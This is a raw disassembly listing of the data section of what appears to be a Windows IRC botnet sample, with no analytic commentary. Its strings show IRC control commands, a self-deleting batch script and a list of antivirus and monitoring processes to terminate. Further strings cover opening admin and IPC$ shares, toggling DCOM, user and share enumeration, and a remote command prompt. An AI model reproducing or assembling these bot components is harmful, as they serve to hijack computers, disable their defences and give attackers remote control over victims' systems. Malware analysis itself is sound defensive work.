aFlexster	db 'flexster',0         ; DATA XREF: .nsp0:0043FFCCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: .nsp0:0043FFC8o
		align 10h
aMale		db 'male',0             ; DATA XREF: .nsp0:0043FFC4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: .nsp0:0043FFC0o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: .nsp0:0043FFBCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: .nsp0:0043FFB8o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: .nsp0:0043FFB4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .nsp0:0043FFB0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .nsp0:0043FFACo
aFarooq		db 'farooq',0           ; DATA XREF: .nsp0:0043FFA8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .nsp0:0043FFA4o
		align 10h
aM_3:					; DATA XREF: .nsp0:0043FFA0o
		unicode	0, <M>,0
word_4409E4	dw 4Eh			; DATA XREF: sub_41A702+38r
					; .nsp0:0043FF9Co
		align 4
dword_4409E8	dd 42h		dword_4409EC	dd 56h		dword_4409F0	dd 43h		dword_4409F4	dd 58h		dword_4409F8	dd 5Ah		dword_4409FC	dd 4Ch		dword_440A00	dd 4Bh		dword_440A04	dd 4Ah		dword_440A08	dd 48h		dword_440A0C	dd 47h		dword_440A10	dd 46h		dword_440A14	dd 44h		dword_440A18	dd 53h		dword_440A1C	dd 50h		dword_440A20	dd 4Fh		dword_440A24	dd 55h		word_440A28	dw 59h			; DATA XREF: sub_41AA26+38r
					; .nsp0:0043FF50o
		align 4
dword_440A2C	dd 54h		dword_440A30	dd 52h		dword_440A34	dd 45h		dword_440A38	dd 57h		dword_440A3C	dd 51h		dword_440A40	dd 4B43494Eh, 0A732520h, 0dword_440A4C	dd 323334h	dword_440A50	dd 474E4F50h, 0A732520h, 0aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417EC3+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_4180E3+BCo
					; sub_4180E3+175r ...
		align 4
dword_440A98	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_440AE4	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_440B00	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_41852C+118o
dword_440B14	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41852C+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4188F8+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4189BD+5o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4189BD+9Eo
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418AE3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0
		align 10h
unk_440BD0	db  2Dh	; -		; DATA XREF: sub_418C8D+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_440C00	db  2Dh	; -		; DATA XREF: sub_418C8D+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_440C28	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418C8D+5Co
		dd 65726165h, 64h, 0
off_440C48	dd offset aAdd		; DATA XREF: sub_418F5A+6Dr
					; sub_41933E+50r ...
					; "Add"
off_440C4C	dd offset aAdded	; DATA XREF: sub_418F5A+2Dr
					; sub_41933E+82r ...
					; "Added"
dword_440C50	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		dd 0
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 440CBCh, 440CB4h,	2, 440CA8h, 440C9Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:00440C7Co
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:00440C78o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:00440C70o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:00440C6Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:00440C64o
		align 4
aList_1		db 'List',0             ; DATA XREF: .nsp0:00440C60o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:00440C58o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:00440C54o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_440C4Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_440C48o
unk_440D10	db  2Dh	; -		; DATA XREF: sub_418F5A+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_440D34	db  2Dh	; -		; DATA XREF: sub_418F5A+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_440D60	db  2Dh	; -		; DATA XREF: sub_418F5A+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419083+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_419083:loc_41919Bo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_419083:loc_419194o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_419083:loc_41918Do
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_419083:loc_419186o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_419083:loc_41917Fo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_419083:loc_419178o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_419083:loc_419171o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_419083:loc_41916Ao
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_419083:loc_419163o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_419083:loc_41915Co
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_419083:loc_419131o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_419083:loc_41912Ao
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_419083:loc_419123o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_419083:loc_41911Co
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_419083+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_419083:loc_4190F1o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_419083:loc_4190E7o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_419083:loc_4190DDo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_419083:loc_4190D3o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_419083:loc_4190C9o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_419083+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_419201+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_419201:loc_4192CDo
aStarting	db '   Starting',0      ; DATA XREF: sub_419201:loc_4192C6o
aStoping	db '    Stoping',0      ; DATA XREF: sub_419201:loc_4192BFo
aRunning_0	db '    Running',0      ; DATA XREF: sub_419201:loc_4192B8o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_419201:loc_4192B1o
aPausing	db '    Pausing',0      ; DATA XREF: sub_419201:loc_4192AAo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_419201:loc_4192A3o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_419201+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_419201+25o
		align 4
unk_4412B4	db  2Dh	; -		; DATA XREF: sub_41933E+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_4412D8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41933E+89o
		dd 73252720h, 27h
unk_4412F4	db  2Dh	; -		; DATA XREF: sub_41933E+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419533+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_419533+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419533+B5o
unk_441340	db  2Dh	; -		; DATA XREF: sub_419533+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419533+26o
		align 10h
unk_4413A0	db  2Dh	; -		; DATA XREF: sub_419654+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_4413C8	db  2Dh	; -		; DATA XREF: sub_419654+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_4413F8	db  2Dh	; -		; DATA XREF: sub_419654+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_441418	db  2Dh	; -		; DATA XREF: sub_41979A+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41979A+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41979A+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41979A+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41979A+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41979A+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41979A+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41979A+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41979A+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41979A+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41979A+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41979A+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41979A+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41979A+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41979A+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41979A+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41979A:loc_4198B3o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41979A:loc_4198ACo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41979A+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41979A+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41979A+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41979A+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_419B68+14Fo
		align 4
unk_4415C4	db  2Dh	; -		; DATA XREF: sub_419B68+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_419B68+BEo
		align 4
unk_4415F8	db  2Dh	; -		; DATA XREF: sub_419B68+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_419B68+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419CE8:loc_419E05o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419CE8:loc_419DFEo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419CE8:loc_419DF7o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419DF0o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419CE8:loc_419DE9o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419CE8:loc_419DCCo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419CE8:loc_419DC5o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419CE8:loc_419DBEo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419CE8+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419CE8:loc_419D93o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D8Co
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419CE8:loc_419D85o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419CE8:loc_419D7Bo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419CE8+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D55o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419CE8:loc_419D4Bo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419CE8:loc_419D41o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419CE8:loc_419D37o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419CE8:loc_419D2Do
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419CE8+3Bo
		align 10h
dword_441900	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: .nsp0:00419EC7o
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_44192C	db  2Dh	; -		; DATA XREF: .nsp0:00419E9Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_441954	dd 7530h	off_441958	dd offset aRegedit_exe	; DATA XREF: sub_419F45+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_441A60
		dd offset dword_441A54
		dd offset dword_441A48
		dd offset dword_441A3C
		dd offset dword_441A30
		dd offset dword_441A24
		dd offset dword_441A14
		dd offset dword_441A08
		dd offset dword_4419FC
		dd offset dword_4419F0
		dd offset dword_4419E4
		dd offset dword_4419D4
		dd offset dword_4419C8
		dd offset dword_4419B8
dword_4419B8	dd 72313169h, 346E3435h, 6578652Eh, 0					; .nsp0:004419B4o
dword_4419C8	dd 6E757269h, 78652E34h, 65hdword_4419D4	dd 75643364h, 74616470h, 78652E65h, 65hdword_4419E4	dd 65746172h, 6578652Eh, 0dword_4419F0	dd 74617373h, 78652E65h, 65hdword_4419FC	dd 736E6977h, 652E7379h, 6578hdword_441A08	dd 756E6977h, 652E6470h, 6578hdword_441A14	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_441A24	dd 61656262h, 2E656C67h, 657865hdword_441A30	dd 696E6550h, 2E323373h, 657865hdword_441A3C	dd 6B656574h, 2E736469h, 657865hdword_441A48	dd 4C42534Dh, 2E545341h, 657865hdword_441A54	dd 7663736Dh, 2E323362h, 657865hdword_441A60	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0044197Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00441978o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .nsp0:00441974o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .nsp0:00441970o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .nsp0:0044196Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .nsp0:00441968o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .nsp0:00441964o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .nsp0:00441960o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .nsp0:0044195Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .nsp0:off_441958o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419F45+191o
		align 10h
unk_441B10	db  2Dh	; -		; DATA XREF: sub_41A174:loc_41A1FBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_441B34	db  2Dh	; -		; DATA XREF: sub_41A174+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_441B58	db  2Dh	; -		; DATA XREF: sub_41A174+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A311+33o
unk_441B88	db  2Dh	; -		; DATA XREF: .nsp0:loc_41A4CAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
dword_441C68	dd 1D4C0h			align 10h
off_441C70	dd offset dword_441CA8	; DATA XREF: sub_41A702+1B3o
					; sub_41AA26+17Ao
		align 8
		dd offset dword_441CA0
		align 10h
off_441C80	dd offset dword_441C9C	; DATA XREF: sub_41AA26+1E3o
		dd offset dword_441C98
		dd offset dword_441C94
		dd offset dword_441C90
dword_441C90	dd 5C3A44h						; .nsp0:00441C8Co
dword_441C94	dd 2444h	dword_441C98	dd 5C3A43h	dword_441C9C	dd 2443h	dword_441CA0	dd 494D4441h, 244Ehdword_441CA8	dd 24435049h, 0	dword_441CB0	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+2D8o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_441CE0	dd 234032Dh, 75636573h,	3026572haNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_441D08	dd 234032Dh, 75636573h,	3026572haFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_441D34	dd 234032Dh, 75636573h,	3026572haShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_441D58	dd 234032Dh, 75636573h,	3026572haFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_441D84	dd 234032Dh, 75636573h,	3026572haShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_441DA8	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26:loc_41AB54o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_441DD8	dd 234032Dh, 75636573h,	3026572haFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_441E14	dd 234032Dh, 75636573h,	3026572haRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_441E48	dd 234032Dh, 75636573h,	3026572haFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A702+EDo
					; sub_41AA26+EDo
		align 4
dword_441E98	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_441EC8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A702:loc_41A76Fo
		dd 62617369h, 2E64656Ch, 0
dword_441EE8	dd 234032Dh, 75636573h,	3026572haDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A702+54o
					; sub_41AA26+54o
		align 4
dword_441F18	dd 234032Dh, 75636573h,	3026572haNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41AA26+22Ao
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41AA26+219o
dword_441F48	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26:loc_41AC93o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_441F70	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+266o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_441F90	dd 234032Dh, 75636573h,	3026572haFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_441FCC	dd 234032Dh, 75636573h,	3026572haUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_442004	dd 234032Dh, 75636573h,	3026572haFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_442044	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41AA26:loc_41AA93o
		dd 6C62616Eh, 2E6465h
dword_442060	dd 234032Dh, 75636573h,	3026572haEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AD75+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_4420B8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AF50+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AF50+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AF50+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AF50+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AF50+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AF50+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AF50+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AF50+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AF50+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AF50+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AF50+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AF50+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AF50+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AF50+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AF50+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AF50+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AF50+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AF50+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AF50+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AF50+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AF50+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AF50+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AF50+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AF50+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AF50+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AF50+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AF50+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41B12D+52o
		dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh,	4D3A6464h, 793A4D4Dh
		dd 797979h
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B2E4:loc_41B448o
		align 10h
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_41B2E4+EBo
dword_4423D8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
